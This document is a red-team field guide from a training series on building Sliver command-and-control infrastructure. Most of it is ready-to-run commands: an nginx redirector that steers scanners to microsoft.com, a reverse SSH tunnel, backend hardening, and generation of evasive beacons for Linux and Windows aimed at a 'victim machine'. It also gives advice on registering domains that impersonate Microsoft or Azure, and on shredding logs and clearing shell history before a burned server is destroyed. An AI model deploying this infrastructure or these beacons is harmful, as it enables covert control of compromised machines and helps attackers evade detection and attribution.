1.4 C2 Jump Server Infrastructure

1.4 C2 Jump Server Infrastructure โ€” Operator's Field Guide

BLUF: Never point your beacon directly at the machine running Sliver. Use a cheap, expendable jump server (redirector) to absorb attribution and deflect scanners. The backend C2 stays dark โ€” the only IP in your payload is the jump server. If it burns, swap nodes in minutes without losing the operation.

Note

Sections
๐Ÿš€ Ready-to-Use Setup ยท 1. Architecture ยท 2. Provider & Domain Selection ยท 3. Jump Server Setup (nginx redirector) ยท 3B. Alternative: Reverse SSH Tunnel ยท 4. Backend C2 Server Hardening ยท 5. Operator Access Options ยท 6. Beacon Generation ยท 7. Burn & Swap Procedure ยท 8. OPSEC Checklist

Two redirector approaches:

  • nginx (default) โ€” scanner deflection (302 redirect), URI filtering, TLS terminated at jump server. Better OPSEC.
  • Reverse SSH tunnel โ€” no nginx, no cert required on jump server, Sliver handles TLS end-to-end. Faster setup, less filtering. See Section 3B + 7.5_C2_Infrastructure_Walkthrough Option B for full detail.

๐Ÿš€ Ready-to-Use Setup (Copy-Paste Deployment)

Placeholders to replace:

Step 1 โ€” Provision Two VPS Nodes

Node A (Jump / Redirector):   DigitalOcean, Vultr, or Linode โ€” $6/mo โ€” expendable
Node B (Backend C2):          Hetzner, OVH, or BuyVM โ€” different provider โ€” keep protected
Different providers = no correlated takedown from one abuse report

Step 2 โ€” Domain + Certificate on Jump Server

# Point DNS A record: yourdomain.com โ†’ JUMP_IP
# Use a domain that looks like cloud/CDN infra:
# e.g., azure-updates.net, cdn-telemetry.com, ms-update-svc.com

# On jump server:
apt update && apt install -y nginx certbot python3-certbot-nginx
certbot --nginx -d yourdomain.com
# Cert auto-saved to /etc/letsencrypt/live/yourdomain.com/

Step 3 โ€” nginx Redirector on Jump Server

cat > /etc/nginx/sites-available/c2 << 'EOF'
server {
    listen 443 ssl;
    server_name yourdomain.com;

    ssl_certificate     /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;

    # Default: redirect scanners to a legit site โ€” looks like a misconfigured server
    location / {
        return 302 https://microsoft.com;
    }

    # Forward only Sliver's default C2 URI patterns to backend
    # Customise these to match your Sliver HTTP profile URIs
    location ~* \.(woff|woff2|ttf|otf|js)$ {
        proxy_pass          https://BACKEND_IP:443;
        proxy_ssl_verify    off;
        proxy_set_header    Host $host;
        proxy_set_header    X-Forwarded-For $remote_addr;
    }
}
EOF

ln -s /etc/nginx/sites-available/c2 /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginx

Step 4 โ€” Firewall Rules

# โ”€โ”€ JUMP SERVER โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
ufw default deny incoming
ufw default allow outgoing
ufw allow from YOUR_IP to any port 22     # SSH from operator only
ufw allow 443/tcp                          # Beacons call in here
ufw allow 80/tcp                           # certbot renewal
ufw enable

# โ”€โ”€ BACKEND C2 SERVER โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
ufw default deny incoming
ufw default allow outgoing
ufw allow from YOUR_IP to any port 22     # Operator SSH
ufw allow from JUMP_IP to any port 443   # nginx โ†’ Sliver only
ufw enable

Step 5 โ€” Sliver on Backend (start server + listener)

# On backend C2 server:
tmux new -s sliver
sliver-server

# Inside Sliver console โ€” HTTPS listener:
sliver > https --lhost 0.0.0.0 --lport 443

Step 6 โ€” Operator Access (SSH tunnel from your machine)

# On your machine โ€” forward Sliver multiplayer port:
ssh -L 31337:localhost:31337 user@BACKEND_IP -N -f

# Import config once, then connect in direct mode:
sliver-client import ./operator.cfg
sliver-client --disable-wg   # cfg points to 127.0.0.1:31337

Step 7 โ€” Generate Beacon (jump server domain as C2 address)

# Beacon calls the JUMP SERVER domain โ€” backend IP never appears in payload:
sliver > generate beacon \
  --os linux --arch amd64 \
  --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime 2026-12-31T23:59:59Z \
  --name op_beacon \
  --save /tmp/payloads/
TL;DR FLOW:
2x VPS (different providers) โ†’ domain + cert on jump โ†’ nginx smart filter
โ†’ firewall lock down backend โ†’ Sliver on backend โ†’ SSH tunnel to operate
โ†’ beacon calls jump domain โ†’ proxied to backend โ†’ you catch it locally

No nginx? If nginx is unavailable or you want faster setup, skip Steps 2โ€“3 and use a reverse SSH tunnel from the backend instead. See 7.5_C2_Infrastructure_Walkthrough Phase 2 Option B for the full walkthrough. Tradeoffs: no scanner deflection, no URI filtering, but no cert management either.


MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1090.002 External Proxy Command & Control nginx redirector between beacon and C2
T1583.001 Domains Resource Development C2 domain pointing at jump server
T1071.001 Web Protocols (HTTPS) Command & Control HTTPS beacon to jump server
T1573.002 Asymmetric Cryptography Command & Control TLS on both hops
T1562.004 Disable or Modify System Firewall Defense Evasion Firewall rules to isolate backend

Section 1 โ€” Architecture

YOU (operator machine)
  โ”‚
  โ”‚  ssh -L 31337:localhost:31337          โ† you control Sliver locally
  โ–ผ
BACKEND C2 SERVER  (Hetzner / OVH)         โ† dark, never publicly reachable
  sliver-server :443 (accepts from JUMP only)
  sliver multiplayer :31337 (localhost only)
  firewall: only JUMP_IP:443 + YOUR_IP:22
  โ”‚
  โ”‚  nginx proxy_pass (over HTTPS)
  โ–ฒ
JUMP SERVER / REDIRECTOR  (DigitalOcean)   โ† expendable, publicly reachable
  nginx :443 โ€” filters traffic by URI
  redirects non-C2 traffic โ†’ microsoft.com
  firewall: 443 open, 22 from YOUR_IP only
  โ”‚
  โ”‚  HTTPS beacon callbacks
  โ–ฒ
TARGET  (victim machine)
  beacon payload contains only: yourdomain.com:443
  backend IP is NEVER in the payload

Why this matters:


Section 2 โ€” Provider & Domain Selection

VPS Providers

Role Good Providers Avoid
Jump/Redirector DigitalOcean, Vultr, Linode, Contabo Same provider as backend
Backend C2 Hetzner, OVH, BuyVM, Frantech Big US cloud (AWS/GCP/Azure โ€” log retention)

Use different providers in different countries for each node. A DMCA takedown of one won't touch the other.

Domain Selection

โœ… Good domain patterns (blend with enterprise traffic):
  ms-update-svc.com         โ€” looks like Microsoft update
  cdn-static-assets.net     โ€” looks like CDN
  azure-telemetry-svc.com   โ€” looks like Azure monitoring
  api-gateway-services.io   โ€” looks like cloud API

โŒ Avoid:
  Random strings: xkf82nq.com
  Obvious hacker terms: c2-server.com, payload.net
  Newly registered domains (< 30 days old) โ€” flagged by Umbrella/ZScaler

Domain age matters: Register domains 30โ€“60 days before the engagement if possible.


Section 3 โ€” Jump Server nginx Config (Deep Dive)

Basic URI Filter (matches Sliver default HTTP profile)

server {
    listen 443 ssl;
    server_name yourdomain.com;

    ssl_certificate     /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;

    # Access log โ€” keep for debugging, delete before burn
    access_log /var/log/nginx/c2_access.log;

    # Default: everything that doesn't match โ†’ redirect to legit site
    location / {
        return 302 https://microsoft.com$request_uri;
    }

    # Forward only Sliver C2 traffic (default profile URIs)
    location ~* \.(woff|woff2|ttf|otf|js|php|aspx)$ {
        proxy_pass          https://BACKEND_IP:443;
        proxy_ssl_verify    off;
        proxy_http_version  1.1;
        proxy_set_header    Host            $host;
        proxy_set_header    X-Forwarded-For $remote_addr;
        proxy_set_header    X-Real-IP       $remote_addr;
        proxy_read_timeout  90;
    }
}

Add User-Agent Filtering (optional hardening)

# Only forward if UA looks like a browser (Sliver sends configurable UA):
if ($http_user_agent !~* "(Mozilla|Chrome|Safari|curl)") {
    return 403;
}

Custom Sliver HTTP Profile (match your nginx filter)

# In Sliver console โ€” create a custom HTTP C2 profile:
sliver > http-config --help

# Or edit the implant to use specific URIs matching your nginx rules
# Default Sliver HTTP paths include: *.woff, *.woff2, *.ttf, *.js
# Confirm with: strings ./beacon | grep -E '\.(woff|ttf|js)'

OPSEC: Always verify your nginx URI patterns match what Sliver actually sends. A mismatch means beacons get 302-redirected instead of proxied โ€” you'll hear nothing.


Section 3B โ€” Alternative Redirector: Reverse SSH Tunnel

When to use this instead of nginx:

How it works: The backend opens an outbound SSH connection to the jump server and binds port 443 there. Traffic arriving at JUMP_IP:443 is piped directly to Sliver's listener on the backend. No nginx, no certificate. The beacon payload still only references the jump server domain.

YOU (operator)
  โ”‚  ssh -L 31337:localhost:31337
  โ–ผ
BACKEND C2  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ssh -R 0.0.0.0:443:localhost:443 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ JUMP SERVER
  Sliver :443                                                          :443 (bound by SSH)
  (no public exposure)                                                 โ”‚
                                                                       โ”‚ raw TCP forward
                                                                       โ–ผ
                                                                   TARGET (beacon)

Tradeoff vs nginx:

nginx Reverse SSH
Scanner deflection โœ… 302 redirect โŒ Raw Sliver TLS exposed
URI filtering โœ… Allowlist by pattern โŒ Dumb pipe
Cert on jump server Required (certbot) Not needed
Setup complexity Medium Low
Sliver fingerprint risk Low Higher

Setup Steps (summary โ€” full walkthrough in 7.5_C2_Infrastructure_Walkthrough)

Step 1 โ€” Enable GatewayPorts on jump server:

sudo tee -a /etc/ssh/sshd_config > /dev/null << 'EOF'
Match User c2tunnel
    AllowTcpForwarding remote
    GatewayPorts clientspecified
    PermitListen 0.0.0.0:443
    X11Forwarding no
    PermitTTY no
EOF

sudo systemctl reload sshd

Step 2 โ€” Create dedicated tunnel account on jump server:

sudo useradd -r -m -s /usr/sbin/nologin c2tunnel
sudo mkdir -p /home/c2tunnel/.ssh && sudo chmod 700 /home/c2tunnel/.ssh

# Paste backend's public key (~/.ssh/id_ed25519.pub) with forwarding restrictions:
sudo tee /home/c2tunnel/.ssh/authorized_keys << 'EOF'
restrict,port-forwarding,permitlisten="0.0.0.0:443" PASTE_BACKEND_PUBLIC_KEY_HERE
EOF

sudo chown -R c2tunnel:c2tunnel /home/c2tunnel/.ssh
sudo chmod 600 /home/c2tunnel/.ssh/authorized_keys

Why c2tunnel not operator? c2tunnel has no password and is SSH-key only. If the key leaks, the authorized_keys restrictions and Match User stanza scope it to remote forwarding on 0.0.0.0:443 instead of giving away a normal operator account. Test /usr/sbin/nologin on your distro first; if it blocks the tunnel, switch to a low-privilege shell account and keep the SSH restrictions in place.

Step 3 โ€” Persistent tunnel systemd service (run on backend):

# Approach A: autossh (preferred if available โ€” `-M 0` means OpenSSH keepalives, not autossh monitor probes):
sudo tee /etc/systemd/system/c2-tunnel.service > /dev/null << EOF
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target

[Service]
User=operator
ExecStart=/usr/bin/autossh -M 0 -N \
  -R 0.0.0.0:443:localhost:443 \
  -p 22 c2tunnel@JUMP_IP \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
  -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

# Approach B: plain SSH + systemd restart loop (no extra packages):
sudo tee /etc/systemd/system/c2-tunnel.service > /dev/null << EOF
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target

[Service]
User=operator
ExecStart=/usr/bin/ssh -N \
  -R 0.0.0.0:443:localhost:443 \
  -p 22 c2tunnel@JUMP_IP \
  -o ServerAliveInterval=15 -o ServerAliveCountMax=3 \
  -o TCPKeepAlive=yes -o ExitOnForwardFailure=yes \
  -o ConnectTimeout=10 -o StrictHostKeyChecking=no
Restart=always
RestartSec=5   # Reconnects within ~50s of any drop

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload && sudo systemctl enable --now c2-tunnel

OPSEC: Scanner hits go directly to Sliver โ€” no 302 deflection. Consider adding firewall rules on the jump server to restrict port 443 access to known target IP ranges, or accept the fingerprinting risk and rotate the jump node if it gets flagged.


Section 4 โ€” Backend C2 Server Hardening

SSH Hardening

# /etc/ssh/sshd_config on backend:
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers youruser
Port 2222                    # Non-standard port (not 22)
# Then: systemctl reload sshd

# Update firewall rule:
ufw delete allow from YOUR_IP to any port 22
ufw allow from YOUR_IP to any port 2222

Disable Unnecessary Services

systemctl disable --now apache2 2>/dev/null
systemctl disable --now postfix 2>/dev/null
# Only nginx (if used on backend) and sliver-server should be listening
ss -tlnp    # Verify open ports

Keep Sliver Logs Off Disk (optional)

# Run sliver-server with output suppressed / to tmpfs:
sliver-server > /tmp/sliver.log 2>&1 &
# /tmp is in RAM on most systems โ€” won't persist across reboots

Section 5 โ€” Operator Access Options

Option A: SSH Local Port Forward (simplest)

# Forward Sliver multiplayer port to your localhost:
ssh -L 31337:localhost:31337 -p 2222 user@BACKEND_IP -N -f

# Connect with sliver-client:
sliver-client import ./operator.cfg
sliver-client --disable-wg

# operator.cfg generated with:
# sliver > multiplayer --disable-wg
# sliver > new-operator --name you --lhost 127.0.0.1 --lport 31337 \
#   --permissions all --disable-wg --save ./operator.cfg

Option B: tmux Session on Backend (interactive)

# SSH to backend and attach to running Sliver session:
ssh -p 2222 user@BACKEND_IP -t "tmux attach -t sliver || tmux new -s sliver"

Option C: WireGuard VPN (most robust for teams)

# Set up WireGuard on backend; all operators join the VPN
# Sliver multiplayer accessible at WireGuard IP, no port forwarding needed
# See: 7.5_C2_Infrastructure_Walkthrough.md for full WireGuard setup

Section 6 โ€” Beacon Generation Per Platform

# Linux ELF:
generate beacon --os linux --arch amd64 --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 --skip-symbols --evasion \
  --limit-datetime 2026-12-31T23:59:59Z --save /tmp/payloads/

# Windows EXE:
generate beacon --os windows --arch amd64 --format executable \
  --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 --skip-symbols --evasion \
  --limit-datetime 2026-12-31T23:59:59Z --save /tmp/payloads/

# Windows shellcode (amd64 only):
generate beacon --os windows --arch amd64 --format shellcode \
  --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 --skip-symbols --evasion \
  --limit-datetime 2026-12-31T23:59:59Z --save /tmp/payloads/

# DNS fallback (ultra-stealth, slow):
generate beacon --os linux --arch amd64 \
  --dns c2.yourdomain.com \
  --seconds 300 --jitter 60 \
  --save /tmp/payloads/

All beacons point at yourdomain.com (jump server). Backend IP never touches a payload.


Section 7 โ€” Burn & Swap Procedure

Jump Server Burned (IP blocklisted / seized)

# Step 1: Spin up new jump server (5 min on DigitalOcean)

# Step 2: Update DNS A record
# yourdomain.com โ†’ NEW_JUMP_IP
# TTL propagates in 60โ€“300s (set TTL to 60 before engagement for fast swaps)

# Step 3: Deploy nginx config on new node (keep config in a private git repo):
git clone git@github.com:YOU/c2-configs.git
apt install nginx certbot
certbot --nginx -d yourdomain.com
cp c2-configs/nginx/c2.conf /etc/nginx/sites-available/c2
# Update BACKEND_IP in config
ln -s /etc/nginx/sites-available/c2 /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginx

# Step 4: Apply firewall rules (same as Step 4 in quickstart)

# Step 5: Update backend firewall to allow new JUMP_IP:
ufw delete allow from OLD_JUMP_IP to any port 443
ufw allow from NEW_JUMP_IP to any port 443

# Beacons reconnect automatically on next check-in via DNS

Wipe Burned Jump Server Before Destroy

# Delete logs before destroying droplet:
shred -u /var/log/nginx/c2_access.log
shred -u /var/log/nginx/error.log
shred -u /var/log/auth.log
history -c && cat /dev/null > ~/.bash_history

# Then destroy via provider console/API

Section 8 โ€” OPSEC Checklist

Before Deployment

During Operation

After Engagement


Resources

Resource Type Relevance
7.2 C2 Redirector Infrastructure Internal Full reference: socat, Apache, nginx, Caddy, CDN redirectors
7.5 C2 Infrastructure Walkthrough Internal End-to-end operational deployment guide
BishopFox/sliver Tool Sliver C2
LOLBAS Project Reference Windows delivery without droppers
Redirector Best Practices (FortyNorthSecurity) Blog Apache mod_rewrite redirectors

Part of the Red Teaming 101 series. Previous: 1.3 Sliver C2 Windows ยท See also: 7.2_C2_infra ยท 7.5_C2_Infrastructure_Walkthrough